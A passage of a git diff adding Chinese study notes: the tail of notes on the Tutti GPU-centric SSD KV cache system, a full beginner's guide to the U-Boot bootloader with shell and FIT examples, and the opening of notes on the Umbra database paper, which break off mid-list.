+**Tutti** 是一个 **GPU 为中心（GPU-centric）** 的 **SSD 分层 KV cache 系统**，目标是在长上下文、高并发 LLM serving 场景下，让 **HBM–SSD 两层**（可配合 Mooncake 做集群元数据）既有大容量，又有可接受的 TTFT / ITL。
+
+它解决的不是「KV 怎么算」，而是「**算好的 KV 怎么在 HBM ↔ SSD 之间高效搬运**」：
+
+| 层级 | 典型容量 | Tutti 视角下的角色 |
+|------|----------|-------------------|
+| GPU HBM | 80 GB 级 | 热 KV，推理主战场 |
+| CPU DRAM | TB 级以下 | 可选中间层；Tutti 主攻 HBM–SSD 直连 |
+| NVMe SSD | 100 TB+ 级 | 冷 KV 持久化；prefix 命中率可 >80% |
+
+与 **LMCache + GDS** 的对比（论文 Figure 1）：
+
+- **CPU-centric**：CPU 管索引、发 I/O、同步；GDS 去掉 bounce buffer，但**控制面仍在 CPU**。
+- **Tutti（GPU-centric）**：CPU 做 hash 映射、预分配 GPU file；**数据面 + I/O 控制面在 GPU**，通过 **GPU io_uring (gio_uring)** 异步提交海量 NVMe 请求。
+
+---
+
+## 为什么重要
+
+### 1. Prefix caching 已是 MaaS 标配
+
+相同 system prompt、多轮对话、Agent 工具链都会复用 prefix。命中时可跳过大量 prefill，**单 token 成本可降一个数量级**。但 KV 随上下文长度 × 并发会话线性增长，HBM 很快不够。
+
+### 2. DRAM 不够，SSD 又「理论上够、实际上慢」
+
+商业服务器可配 **100 TB+ NVMe**；论文引用行业数据：约 2 TB DRAM 也只能保留约 **5 分钟** 的 KV。SSD 是唯一现实的大容量层，但 prior work 显示 SSD tier 常因 I/O 碎片化 + CPU 瓶颈而**不如重算**。
+
+### 3. 推理引擎越来越快，I/O 短板更刺眼
+
+vLLM 0.12 → 0.17 计算优化后，GDS 路径的相对劣势更明显：算得更快，等 KV 的时间占比更高。Tutti 的存储–计算协同设计在**新一代 serving 栈**上仍保持最优 TTFT。
+
+---
+
+## 核心概念
+
+### 1. Prefill、Decode 与 KV Cache（复习）
+
+- **Prefill**：并行处理输入 prompt，生成各层 K/V；指标 **TTFT**（Time to First Token）。
+- **Decode**：自回归逐 token 生成；指标 **ITL**（Inter-Token Latency）。
+- **Prefix caching**：不同请求共享相同 prompt 前缀时，复用已有 K/V，跳过 prefill 计算。
+
+### 2. PagedAttention 带来的 I/O 碎片化
+
+vLLM / SGLang 等把 KV 切成 block，形状约 `[Block, num_heads, head_dim]`，每 block 16–32 token。逻辑上连续的 prefix，在显存和 SSD 上都是**大量离散小块**。
+
+论文量化（Qwen3-32B，block=64）：重载 **128K token** KV 约需 **256K 个** 分散的 ~80KB 对象——对 SSD 是灾难级随机小 I/O。
+
+### 3. GPU 原生对象抽象（Object Store）
+
+Tutti 在 **GeminiFS** 之上扩展 **GPU-centric object store**：
+
+- 每个 **KV memory block** 对应 **一个对象**；一个 GPU file 含 **2×L 个对象**（每层 K 一个、V 一个）。
+- **Tensor-Stripe** 布局：按张量粒度条带化到多块 NVMe，而非细粒度 storage striping，使 **I/O 粒度与 KV transfer 对齐**。
+- 启动时 **预分配 NVMe file pool**；运行时 CPU 只做 `hash(KV) → GPU file ID`，**不在关键路径创建/删除文件**。
+- **P2P 内存映射表**：KV pool 地址固定，启动时预计算 **SGL（Scatter-Gather List）** 描述符，避免运行时逐页 PRP 构造（60GB KV 用 PRP 可能浪费 ~3.75GB HBM，SGL 约 **15MB**）。
+
+### 4. GPU io_uring (gio_uring)
+
+模仿 Linux **io_uring**：
+
+- CPU 在 GPU HBM 里准备 **SQ/CQ 环形队列** 和 **IOCB**（每个 IOCB 含最多 2048 个 IOCTX）。
+- GPU I/O kernel 在专用 SM 上 **直接写 NVMe SQ、轮询 CQ**，无需 CPU 逐条 `read()`。
+- 用 **NVIDIA Green Context** 划分 **Compute Domain** 与 **I/O Control Domain**，避免 I/O kernel 饿死 attention kernel。
+
+### 5. Slack-Aware I/O 调度
+
+两个问题：
+
+1. **读写同时打 SSD** 时，带宽可能掉 **60%**（NVMe 内部 cache 争用）。
+2. I/O kernel 与 GEMM/Attention **争 SM**。
+
+Tutti **离线 profiling** 每层、每种 `(input_len, prefix_len)` 下的 **slack 窗口**（有空闲 SM、且适合发 I/O 的时间段），查表决定：
+
+- **Read** 优先（在 reuse 关键路径上）。
+- **Write** 延后到 slack 或 decode 阶段 **best-effort** 刷盘。
+- **读写解耦调度**，不做 naive layer-wise 读写 overlap。
+
+### 6. vLLM 集成
+
+~8000 行 C++ + ~1500 行 Python，挂 **KVConnector**，暴露 `retrieve_layer` / `store_layer`，与 vLLM block manager 粒度一致。多 GPU 时每卡独立 Tutti 实例 + 独立 NVMe 队列对；集群层可配合 **Mooncake** 做副本元数据与 local-first 路由。
+
+---
+
+## 问题从哪来：一个数字例子
+
+下面用简化 Python 说明 **Paged KV → 海量 I/O**（教学用，非论文源码）：
+
+```python
+def count_kv_io_ops(
+    num_layers: int,
+    seq_len: int,
+    block_size: int,
+    kv_bytes_per_token_per_layer: int = 2 * 2 * 4096,  # K+V, fp16, hidden≈4096
+) -> dict:
+    """估算从 SSD 恢复 prefix KV 时的逻辑 I/O 对象数量。"""
+    blocks_per_layer = (seq_len + block_size - 1) // block_size
+    # vLLM: 每层 K block + V block 各一份，物理上常分开存
+    objects_per_layer = 2 * blocks_per_layer
+    total_objects = num_layers * objects_per_layer
+    avg_object_bytes = block_size * kv_bytes_per_token_per_layer // 2  # 单层 K 或 V
+    return {
+        "total_objects": total_objects,
+        "avg_object_kb": avg_object_bytes // 1024,
+        "example": "Qwen3-32B, 128K, block=64 → ~256K objects @ ~80KB",
+    }
+
+# 论文量级
+print(count_kv_io_ops(num_layers=64, seq_len=128 * 1024, block_size=64))
+# total_objects ≈ 262144，且多为随机读 → CPU 发 I/O 成为瓶颈
+```
+
+LMCache 默认 **256 token chunk** 时，128K prefix 仍要 **1000+ chunk 访问**；若 layer-wise pipeline，访问次数可到 **数万**。这就是 Tutti 要用 **bulk object + GPU 并行发 I/O** 的原因。
+
+---
+
+## Tutti 怎么用：接口与调度（概念代码）
+
+论文实现的 **layer-wise** API 与 gio_uring 用法可概括为：
+
+```python
+# 概念性 Python：Tutti 在 vLLM KVConnector 中的调用形态
+class TuttiKVConnector:
+    def __init__(self, gpu_file_pool, gio_ring, slack_table):
+        self.pool = gpu_file_pool
+        self.ring = gio_ring
+        self.slack = slack_table  # offline profile: (layer, L_in, L_prefix) -> slack
+
+    def on_prefix_hit(self, request):
+        """Reuse 关键路径：按层 retrieve。"""
+        for layer in range(self.num_layers):
+            slack = self.slack.lookup(
+                layer, request.input_len, request.prefix_len
+            )
+            iocbs = self.pool.resolve_iocbs(request.kv_blocks, layer)
+            if slack.can_overlap:
+                # 在 slack 窗口内批量提交，与下一层 compute overlap
+                self.ring.issue_io_async(iocbs, sm_budget=slack.sm_budget)
+            else:
+                # 无 slack → 立即 read，避免 stall attention
+                self.ring.issue_io_sync(iocbs)
+            self.ring.wait_layer_ready(layer)  # GPU 侧 wait_cqe，无 CPU 逐 I/O
+
+    def on_kv_evict(self, request):
+        """非关键路径：store 可延后。"""
+        for layer in range(self.num_layers):
+            if self.slack.has_write_window(layer):
+                self.ring.enqueue_store(iocbs=self.pool.store_iocbs(...))
+            else:
+                self.ring.defer_store(...)  # decode 阶段 best-effort flush
+```
+
+底层 **gio_uring** 四步（论文 §3.2）：
+
+```cpp
+// 概念性 C++：GPU io_uring 生命周期
+void tutti_prefill_layer(int layer, TuttiRuntime* rt) {
+  // 1. CPU 已 init_queue；每层一次 get_iocb
+  IoCbBatch batch = rt->gio->get_iocb(/*nums=*/max_parallel, /*event=*/compute_done);
+
+  // 2. CPU 填 SGL 地址、GPU file offset（O(layer)，非 O(layer×blocks)）
+  rt->object_store->fill_iocbs_from_p2p_table(batch, layer, kv_blocks);
+
+  // 3. GPU I/O domain 专用 SM 上 issue_io
+  rt->gio->issue_io(batch.ids, /*SMs=*/io_domain_sms);
+  // NVMe SQ/CQ 操作在 GPU kernel 内完成
+
+  // 4. compute stream 通过 CUDA event 依赖 I/O 完成
+  rt->gio->wait_cqe(batch);  // 细粒度等待，无需 CPU 参与每条 I/O
+  run_attention_layer(layer);
+}
+```
+
+---
+
+## 与相关工作的关系
+
+| 系统 / 技术 | 做什么 | Tutti 的差异 |
+|-------------|--------|--------------|
+| **LMCache** | 分层 KV；chunk 聚合；可选 GDS | Tutti 消除 CPU 关键路径，bulk object + gio_uring |
+| **GDS** | GPU↔SSD P2P DMA | 仍 CPU 发起 I/O；Tutti 把控制面也放到 GPU |
+| **GeminiFS / BaM** | GPU 直接管 NVMe | 通用块/文件抽象；Tutti 针对 KV object + SGL + slack 调度 |
+| **Mooncake** | 分布式 KV 调度 | Tutti 做节点内 fast path；Mooncake 管集群元数据 |
+| **HCache / FlashGen** | DRAM 层 compute-I/O overlap | SSD 上 naive pipeline 会加剧读写争用；Tutti 读写解耦 |
+
+压缩类工作（NestedKV、KV-Fold 等）解决 **显存里放多少 KV**；Tutti 解决 **放不下的 KV 怎么从 SSD 快速搬回来**——正交，可叠加。
+
+---
+
+## 实验结果（论文摘要）
+
+**环境**：双 H100 80GB、512GB DRAM、4× Solidigm D7-PS1010 7.68TB、RAID-0；对比 vLLM 0.12 / 0.17 + LMCache（HBM / DRAM-LW / SSD / GDS）。
+
+**工作负载**：LEval（3K–200K token）、LooGLE（常 >100K）；Poisson 到达的多会话并发。
+
+**命中率（Table 1）**：HBM 8%/4%；DRAM 53%/24%；**SSD 84%/86%**——大容量 tier 显著提高 reuse。
+
+**TTFT**（严格 SLO 下）：
+
+- LEval + v0.17：Tutti 比 GDS 低 **78.3%**；有效 RPS **+100%** vs GDS，**+50%** vs DRAM。
+- LooGLE 0.6 RPS：Tutti TTFT 约为 GDS 的 **1/2.63**。
+
+**带宽微基准**：
+
+- Retrieve：Tutti 最高 **25.9 GB/s** vs GDS ~11.9 GB/s（**2.08×**）。
+- **SGL vs PRP**：单线程 500MB 读写，带宽 **31× / 91×** 提升。
+
+**GPU bubble**：Tutti 将 stall 压到接近 **0**；GDS/SSD baseline 仍 **>70%**。
+
+**成本**：SSD-backed Tutti 服务成本降 **27%**；性能 **接近 DRAM-backed LMCache**。
+
+**极限上下文**：GLM-4-9B-1M、640K input，2 GPU + 4 盘；LMCache-GDS OOM，Tutti TTFT **1.2s**。
+
+---
+
+## 设计取舍与局限
+
+**优势**
+
+- 真正释放 NVMe 带宽，prefix caching 在 SSD tier **从「不可用」变为「接近 DRAM」**。
+- 与 vLLM PagedAttention **block 粒度对齐**，引擎改动可控。
+- Slack 调度 + SM 分区，针对 LLM **layer 依赖** 定制，而非通用存储 benchmark。
+
+**代价 / 未覆盖**
+
+- 依赖 **GeminiFS、Green Context、NVMe SGL** 等较新栈；部署复杂度高于纯 LMCache。
+- **远程 KV** 仍走 CPU staging + RDMA，未 GPU-direct RDMA（论文 future work）。
+- 离线 slack profile 需按模型/硬件 **warm-up**；配置变化要重新 profiling。
+- 与 KV **压缩** 结合时的 object 布局、是否仍 bulk-friendly，论文未深入。
+
+---
+
+## 零基础自检清单
+
+读完后，你应该能回答：
+
+1. **为什么 GDS 不够？** — 控制路径仍在 CPU；paged KV 导致海量小 I/O，CPU 发不过来。
+2. **Tutti 的三板斧？** — GPU object store、gio_uring、slack-aware 读写解耦调度。
+3. **SGL 解决什么？** — 中等粒度 KV transfer 的 NVMe 描述符开销；省 HBM、提带宽。
+4. **TTFT vs ITL** — Tutti 主要改善 prefill 阶段 KV **retrieve**；decode 也受益于更高 hit + 更少 bubble。
+5. **和 prefix caching 的关系？** — Tutti 不替代 caching 策略，而是让 **SSD tier 的 cache hit 真正省钱省时间**。
+
+---
+
+## 进一步阅读
+
+- 论文：[arXiv:2605.03375](https://arxiv.org/abs/2605.03375)
+- 背景：**PagedAttention**（vLLM）、**LMCache**、**GPU Direct Storage**、**GeminiFS**
+- 同仓库笔记：`kv-fold.md`（KV 递推）、`nestedkv.md`（KV 压缩）— 与 Tutti 的「分层存储 I/O」互补
+
+---
+
+## 一句话总结
+
+**Tutti 把「从 SSD 搬 KV」从 CPU 柜台排队，改成 GPU 仓库管理员批量异步发货：对象化 KV、GPU io_uring 饱和 NVMe、slack 调度避免与算力打架——让 TB 级 prefix cache 的长上下文 serving 第一次变得和 DRAM 一样实用。**
diff --git a/src/content/docs/papers/u-boot-bootloader.md b/src/content/docs/papers/u-boot-bootloader.md
new file mode 100644
index 000000000..2fe60a56e
--- /dev/null
+++ b/src/content/docs/papers/u-boot-bootloader.md
@@ -0,0 +1,310 @@
+---
+title: Das U-Boot — Universal Bootloader 零基础学习笔记
+来源: https://docs.u-boot.org/en/latest/
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你买了一台**没有操作系统的裸机电脑**——按下电源键之后，CPU 只会从片上 ROM 里跑一小段固化程序，它既不认识 ext4，也不知道「内核」是什么，更不可能帮你选 Ubuntu 还是 Debian。
+
+这时候需要一位**专职门卫 + 搬运工**：
+
+- **门卫**：在操作系统接管之前，决定「从哪块存储、按什么顺序」找可启动的东西（SD 卡、eMMC、USB、网络 PXE）。
+- **搬运工**：把内核镜像、initramfs、设备树（FDT）从 Flash/磁盘读到 RAM 的正确地址，再跳过去执行。
+- **值班手册**：记住默认启动延迟、IP 地址、上次从哪张卡启动成功——断电后还能恢复。
+
+**Das U-Boot**（Universal Bootloader）就是嵌入式世界里这位门卫。它跑在 Linux / FreeBSD / VxWorks 等操作系统**之前**，在资源极紧的 SoC 上完成硬件最小初始化，并提供可交互的 **U-Boot shell** 供开发调试。官方文档入口：[Das U-Boot Documentation](https://docs.u-boot.org/en/latest/)。
+
+和 PC 上的 GRUB 类比：GRUB 面向 x86 UEFI/BIOS 生态；U-Boot 面向 **ARM、RISC-V、PowerPC、MIPS** 等板级差异巨大的嵌入式平台，且常常要塞进几十 KB 的 SRAM 里先跑一截「迷你版自己」（SPL）。
+
+## 这篇文档在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 项目 | Das U-Boot — 开源通用引导加载程序 |
+| 许可 | GPL-2.0+（部分库另有许可） |
+| 维护 | 全球板级厂商、SoC 厂商、发行版共同贡献 |
+| 典型平台 | STM32、i.MX、Rockchip、TI Sitara、Xilinx Zynq、Raspberry Pi 等 |
+| 核心能力 | 多阶段启动、环境变量、文件系统、网络 TFTP、FIT 镜像、Distro Boot |
+| 新架构 | Driver Model (DM)、Standard Boot（bootdev / bootmeth / bootflow） |
+
+U-Boot 不是「一个小程序」，而是**可裁剪的固件框架**：通过 Kconfig 为每块板子关掉用不到的功能，最终链成 `u-boot.bin` 烧进 Flash，或由 SPL 从分区加载。
+
+## 为什么值得学
+
+| 场景 | U-Boot 提供的价值 |
+|------|-------------------|
+| bring-up 新板卡 | 串口进 shell，手动 `mmc dev` / `fatload` 验证硬件 |
+| Yocto / Buildroot 镜像 | 理解 `boot.scr`、`extlinux.conf`、FIT 如何被解析 |
+| OTA / A/B 分区 | 环境变量切换 slot，配合 Verified Boot |
+| 内核开发 | 临时改 `bootargs` 而不重编内核 |
+| 面试「嵌入式启动链」 | ROM → SPL → U-Boot → Linux 是高频考点 |
+
+只要设备上跑的是 Linux 且不是 x86 UEFI 一统天下，十有八九在日志里能看到 `U-Boot 20xx.xx` 字样。
+
+## 核心概念一：启动链（Boot Phases）
+
+现代 SoC 的 Boot ROM 往往**装不下完整 U-Boot**，于是拆成多级：
+
+```
+  ┌──────────┐     ┌─────┐     ┌─────┐     ┌────────────┐     ┌─────────┐
+  │ Boot ROM │ ──► │ TPL │ ──► │ VPL │ ──► │    SPL     │ ──► │ U-Boot  │ ──► OS
+  └──────────┘     └─────┘     └─────┘     └────────────┘     └─────────┘
+   芯片固化        可选极早期    可选校验      初始化 DRAM        完整 shell
+```
+
+| 阶段 | 全称 | 典型职责 |
+|------|------|----------|
+| TPL | Tertiary Program Loader | 极小代码，从 SPI NOR 等加载 SPL |
+| VPL | Verifying Program Loader | 可选，A/B 校验后选择 SPL |
+| SPL | Secondary Program Loader | 初始化 SDRAM，加载 U-Boot proper |
+| U-Boot proper | — | 命令行、文件系统、网络、加载内核 |
+
+**PowerPC 历史命名例外**：顺序可能是 SPL → TPL → U-Boot，读文档时注意架构章节。
+
+SPL 可从 MMC、eMMC、NAND、SPI NOR、UART Ymodem 等介质加载下一阶段镜像；支持 **raw binary**、**legacy uImage**、**FIT (Flat Image Tree)** 等格式。完整 U-Boot 才提供交互式 shell 和丰富的 `bootm` / `booti` / `bootz` 命令。
+
+## 核心概念二：环境变量（Environment）
+
+U-Boot 用**环境变量**保存配置，可驻留 Flash，也可只在内存中临时修改。官方说明见 [Environment Variables](https://docs.u-boot.org/en/latest/usage/environment.html)。
+
+常用命令：
+
+| 命令 | 别名 | 作用 |
+|------|------|------|
+| `env set name value` | `setenv` | 设置变量 |
+| `env print` | `printenv` | 打印全部或指定变量 |
+| `env save` | `saveenv` | 持久化到 Flash |
+| `env erase` | — | 恢复默认环境 |
+
+典型变量：
+
+| 变量 | 含义 |
+|------|------|
+| `bootcmd` | 自动启动时执行的命令串（常展开为一长串 distro boot 逻辑） |
+| `bootdelay` | 倒计时时长，按任意键可中断进 shell |
+| `bootargs` | 传给 Linux 内核的命令行 |
+| `boot_targets` | 扫描启动设备的顺序，如 `mmc0 usb pxe` |
+| `kernel_addr_r` / `fdt_addr_r` / `ramdisk_addr_r` | 各镜像在 RAM 中的加载地址 |
+
+板级默认环境可来自 `include/env_default.h`，或新版 `.env` 文本文件（`var=value` 每行一条）。
+
+### 代码示例一：最小可重复的手动启动脚本
+
+在 U-Boot shell 中，从 FAT 分区加载 ARM64 内核 + FDT 并启动（地址需与板级 `CONFIG` 一致，下列为常见示例）：
+
+```text
+# 选择 MMC 0，分区 1
+=> mmc dev 0
+=> part list mmc 0
+
+# 从 FAT 加载内核与设备树到 DRAM
+=> fatload mmc 0:1 ${kernel_addr_r} Image
+=> fatload mmc 0:1 ${fdt_addr_r}   rockchip/rk3588-evb.dtb
+
+# 设置内核命令行并启动（ARM64 用 booti）
+=> setenv bootargs 'console=ttyS2,1500000 root=/dev/mmcblk0p2 rootwait rw'
+=> booti ${kernel_addr_r} - ${fdt_addr_r}
+```
+
+说明：
+
+- `${kernel_addr_r}` 等由默认环境展开，避免手写十六进制地址。
+- `booti` 用于 **ARM64 Linux Image**；32 位 ARM 常用 `bootz`（zImage）；带 legacy uImage 头用 `bootm`。
+- 中间 `-` 表示无 initrd；若有 initrd，写成 `booti ${kernel_addr_r} ${ramdisk_addr_r} ${fdt_addr_r}`。
+
+把上述步骤写入 `bootcmd` 并 `saveenv`，即可实现上电自动启动。
+
+## 核心概念三：Standard Boot 与 Distro Boot
+
+传统上，发行版兼容启动靠**巨型环境脚本** + 大量 `#define`（`config_distro_bootcmd.h`）。新一代 **Standard Boot** 把逻辑收进 U-Boot 本体，引入三个名词（详见 [Standard Boot Overview](https://docs.u-boot.org/en/latest/develop/bootstd/overview.html)）：
+
+| 概念 | 类比 | 职责 |
+|------|------|------|
+| **bootdev** | 仓库货架 | 可挂载/访问启动介质的设备（MMC、USB、NVMe、Ethernet） |
+| **bootmeth** | 盘点方式 | 在货架上**如何找**启动描述（extlinux、PXE、EFI、Android 分区） |
+| **bootflow** | 提货单 | 发行版写的「怎么启动」配置文件（如 `extlinux/extlinux.conf`） |
+
+扫描算法（lazy init）：
+
+```
+while (还有 bootdev)
+    while (还有 bootmeth)
+        while (还有 bootflow)
+            尝试启动
+```
+
+一条命令即可代替数千字节脚本：
+
+```text
+=> bootflow scan -lb
+```
+
+`-l` 列出发现的 bootflow，`-b` 找到后尝试启动。用 `boot_targets` 控制设备顺序：
+
+```text
+=> setenv boot_targets "mmc0 mmc1 usb pxe"
+=> saveenv
+```
+
+**extlinux.conf** 示例（发行版提供，U-Boot 只负责解析执行）：
+
+```text
+label Fedora-Workstation
+    kernel /vmlinuz-6.8.0
+    append ro root=UUID=9732b35b-4cd5-458b-9b91-80f7047e0b8a quiet
+    fdtdir /dtb-6.8.0/
+    initrd /initramfs-6.8.0.img
+```
+
+U-Boot 的 distro boot 会在磁盘上查找 `/extlinux/extlinux.conf` 或 `/boot/extlinux/extlinux.conf`，网络侧则查找 PXE 配置。
+
+## 核心概念四：FIT 镜像（Flat Image Tree）
+
+**FIT** 用设备树语法描述**一个包里的多个镜像**（内核、多个 DTB、ramdisk、固件），支持签名与多配置。SPL 常用 FIT 在**同一文件**里携带多个 DTB，按板型自动挑选。
+
+`.its` 源文件片段（构建时用 `mkimage` 打成 `.itb`）：
+
+```text
+/dts-v1/;
+
+/ {
+    description = "FIT image with kernel + FDT";
+    #address-cells = <1>;
+
+    images {
+        kernel@1 {
+            description = "Linux kernel";
+            data = /incbin/("Image");
+            type = "kernel";
+            arch = "arm64";
+            os = "linux";
+            compression = "none";
+            load = <0x80080000>;
+            entry = <0x80080000>;
+        };
+        fdt@1 {
+            description = "Board DTB";
+            data = /incbin/("rk3588-evb.dtb");
+            type = "flat_dt";
+            arch = "arm64";
+            compression = "none";
+        };
+    };
+
+    configurations {
+        default = "conf@1";
+        conf@1 {
+            description = "Boot Linux";
+            kernel = "kernel@1";
+            fdt = "fdt@1";
+        };
+    };
+};
+```
+
+构建与启动：
+
+```bash
+# 主机侧：生成 itb
+mkimage -f kernel_fdt.its kernel_fdt.itb
+
+# U-Boot shell：从 MMC 加载并启动 FIT
+=> fatload mmc 0:1 ${loadaddr} kernel_fdt.itb
+=> bootm ${loadaddr}
+```
+
+`bootm` 解析 FIT 中的 `configurations` 节点，按默认或指定配置加载各组件。Verified Boot 场景下可对 configuration 做 RSA 签名校验。
+
+### 代码示例二：用 `bootcmd` 封装 TFTP 网络启动
+
+开发板常通过网线从开发机拉镜像，典型环境片段（写入 `u-boot.env` 或 `CFG_EXTRA_ENV_SETTINGS`）：
+
+```text
+bootcmd_tftp=dhcp \
+  && tftpboot ${kernel_addr_r} zImage \
+  && tftpboot ${fdt_addr_r} board.dtb \
+  && tftpboot ${ramdisk_addr_r} rootfs.cpio.gz \
+  && setenv bootargs 'console=ttyS0,115200 root=/dev/ram0 rw' \
+  && bootz ${kernel_addr_r} ${ramdisk_addr_r} ${fdt_addr_r}
+
+bootcmd=run bootcmd_tftp
+```
+
+要点：
+
+- `dhcp` 获取 IP 后，`tftpboot` 默认使用同一网络参数。
+- `run` 展开子脚本，便于在 `bootcmd_mmc` / `bootcmd_tftp` 之间切换。
+- 生产环境务必改 `bootdelay`、`bootcmd`，避免误从空 TFTP 服务器启动。
+
+## 核心概念五：Driver Model 与设备树
+
+现代 U-Boot 使用 **Driver Model (DM)**：设备在设备树里描述，驱动按 uclass 绑定。SPL 阶段会使用**裁剪后的 DTB**（`fdtgrep` 去掉非 `bootph-*` 节点），以减小体积。
+
+开发时常见调试命令：
+
+```text
+=> dm tree          # 查看设备树绑定关系
+=> mmc list         # 列出 MMC 控制器
+=> bdinfo           # 板级信息：DRAM 大小、当前 PC 等
+=> fdt addr ${fdt_addr_r}
+=> fdt print /chosen
+```
+
+Linux 启动后，同一 DTB 往往由 U-Boot 原样递给内核（`booti` 第三个参数），因此 **chosen / stdout-path / memory** 等节点需在 U-Boot 与内核间保持一致。
+
+## 与周边工具链的关系
+
+```
+  主机侧                          目标板
+  ───────                         ──────
+  mkimage / dtc        ──烧录──►  SPL / u-boot.bin
+  Kconfig + gcc                    │
+  Buildroot / Yocto                ├─► 加载 FIT / extlinux
+       │                           │
+       └─ 生成 rootfs + kernel ◄───┘ bootm / booti → Linux
+```
+
+| 工具 | 与 U-Boot 的关系 |
+|------|------------------|
+| `mkimage` | 打 legacy uImage / FIT |
+| `dumpimage` | 解包、查看镜像头 |
+| `mkenvimage` | 把文本 `.env` 打成二进制环境镜像 |
+| OpenSBI（RISC-V） | 常作为 prior stage，再进 U-Boot |
+| ARM Trusted Firmware | BL31 提供 PSCI，U-Boot 作为 BL33 |
+
+## 学习路径建议
+
+1. **串口先连上**：115200 8N1，确认能看到 `Hit any key to stop autoboot`。
+2. **手动跑通一次 `fatload` + `booti`**：理解地址、分区、文件系统三要素。
+3. **读 `printenv`**：弄清 `bootcmd` 展开后的 distro 扫描逻辑。
+4. **读板级 `defconfig`**：`CONFIG_SPL_*`、`CONFIG_BOOTSTD`、环境大小与偏移。
+5. **对照发行版 `extlinux.conf`**：理解 bootflow 与 `root=` 的关系。
+6. **进阶**：FIT 签名、Measured Boot、UEFI payload、U-Boot 作为 EFI 应用。
+
+## 常见坑
+
+| 现象 | 可能原因 |
+|------|----------|
+| `Wrong Image Format` | 用 `bootz` 启 uImage，或 ARM/ARM64 混用 |
+| `Bad Magic Number` | 加载地址不对、文件损坏、分区选错 |
+| `FDT_ERR_BADMAGIC` | DTB 未加载到 `fdt_addr_r` 或地址重叠 |
+| 环境变量保存失败 | Flash 擦写块未对齐、`CONFIG_ENV_OFFSET` 与分区表冲突 |
+| SPL 起不来 | `CONFIG_SPL_TEXT_BASE` 与链接脚本或 SRAM 布局不符 |
+
+## 小结
+
+U-Boot 是嵌入式 Linux **启动链的中枢**：在操作系统之前完成介质扫描、镜像加载、设备树传递，并用环境变量把「怎么启」变成可配置、可持久化的策略。旧版依赖脚本与 `bootcmd` 宏展开；新版 **Standard Boot** 用 bootdev / bootmeth / bootflow 把 distro 兼容启动内建进框架。零基础上手时，优先在 shell 里**手动复现一次启动**，再回头读 `bootcmd` 和板级 Kconfig，比直接啃几万行 `board/` 代码更有效。
+
+## 参考链接
+
+- [Das U-Boot 官方文档](https://docs.u-boot.org/en/latest/)
+- [Environment Variables](https://docs.u-boot.org/en/latest/usage/environment.html)
+- [Standard Boot Overview](https://docs.u-boot.org/en/latest/develop/bootstd/overview.html)
+- [Flat Image Tree (FIT)](https://docs.u-boot.org/en/latest/usage/fit/index.html)
+- [Booting from TPL/SPL](https://docs.u-boot.org/en/latest/usage/spl_boot.html)
+- [Generic Distro Configuration](https://docs.u-boot.org/en/latest/develop/distro.html)
diff --git a/src/content/docs/papers/umbra-2020.md b/src/content/docs/papers/umbra-2020.md
new file mode 100644
index 000000000..2a8c71c8d
--- /dev/null
+++ b/src/content/docs/papers/umbra-2020.md
@@ -0,0 +1,231 @@
+---
+title: Umbra: A Disk-Based System with In-Memory Performance
+来源: https://www.cidrdb.org/cidr2020/papers/p29-neumann-cidr20.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 现代数据库
+provenance: pipeline-v3
+---
+
+# Umbra: 一个拥有内存性能的磁盘数据库
+
+## 一、从"快递柜"说起
+
+想象你有一个巨大的快递柜（这就是你的电脑内存 / RAM），快递柜里能放下的包裹，你可以伸手直接拿到。但如果包裹太多，快递柜放不下怎么办？
+
+传统数据库的做法是：在快递柜旁边再堆一堆纸箱（硬盘）。每次要取包裹，你得先翻纸箱，找到后再搬到快递柜里，这个过程很慢。
+
+Umbra 的核心思想就一句话：**把快递柜做大一点，把搬箱子的手速也练快一点**。具体来说：
+
+- 快递柜（内存）放不下时，用固态硬盘（SSD）当"超级大纸箱"
+- SSD 的读取速度已经快到每秒几个 GB，接近内存了
+- 设计一个聪明的缓冲管理器，让"从 SSD 取数据"这件事几乎感觉不到延迟
+
+论文作者 Thomas Neumann 来自德国慕尼黑工业大学。Umbra 是他之前写的纯内存数据库 HyPer 的"升级版"——从纯内存变成了"内存 + SSD"混合架构。
+
+## 二、核心概念拆解
+
+### 概念 1：可变大小页面（Variable-Size Pages）
+
+传统数据库的缓冲管理器使用固定大小的页面（比如每个页面都是 8KB）。这就好比快递柜里每个格子都一样大——大包裹塞不进，小包裹又浪费空间。
+
+Umbra 的缓冲管理器支持不同大小的页面，从 64KB 到 512KB 不等，按"尺寸等级"（size class）组织。大对象直接存大页面，不需要拆散。
+
+```
+Size Class 0: 512 KB 页面
+Size Class 1: 256 KB 页面
+Size Class 2: 128 KB 页面
+Size Class 3: 64 KB 页面
+```
+
+每个尺寸等级在自己的虚拟地址空间里预留一块区域，这样虚拟地址空间不会碎片化。物理内存是否碎片化则由操作系统来处理。
+
+### 概念 2：乐观锁（Optimistic Latching）
+
+传统数据库里，多个线程同时读同一个页面时，每个线程都要排队等锁。Umbra 用了"乐观锁"——不排队，直接读！
+
+具体做法：读的时候记一下页面的版本号。读完释放锁时，检查一下版本号变没变。如果没变，说明没人改过，读取有效。如果变了，说明有人并发修改了，那就重新读一遍。
+
+```
+乐观锁的工作流程：
+
+1. 线程 A 开始读页面 X
+   → 记录当前版本号 = 42
+   → 不获取任何锁，直接读数据
+
+2. 线程 B 修改页面 X
+   → 获取排他锁，修改数据
+   → 版本号递增为 43
+   → 释放锁
+
+3. 线程 A 读完，释放乐观锁
+   → 检查版本号：现在是 43，不是 42！
+   → 说明有人改过了，重新读一遍
+```
+
+### 概念 3：字符串的三段式存储
+
+数据库里的字符串（文字）长度不一。Umbra 把字符串分成两部分：
+
+- **头部（16字节）**：存元数据，放在列式布局的开头
+- **主体**：存实际文字内容，放在页面末尾
+
+短字符串（12字符以内）直接存在头部里，不需要额外指针。长字符串则分三种存储类别：
+
+| 类别 | 有效期 | 例子 |
+|------|--------|------|
+| Persistent（持久） | 整个数据库运行期间 | 查询常量 |
+| Transient（临时） | 当前工作单位期间 | 从表里读出的字符串 |
+| Temporary（暂存） | 查询执行期间 | UPPER() 函数生成的字符串 |
+
+## 三、关键代码示例
+
+### 示例 1：版本化Latch的结构
+
+Umbra 用一个 64 位的版本化 latch 来控制对页面的并发访问：
+
+```
+|------------------ 59 bits ------------------|---- 5 bits ----|
+|              Version Counter                |    State Bits   |
+```
+
+- **Version Counter（59位）**：每次页面被修改就加 1，用于乐观锁验证
+- **State Bits（5位）**：编码 latch 的状态
+  - `0` = 未锁定
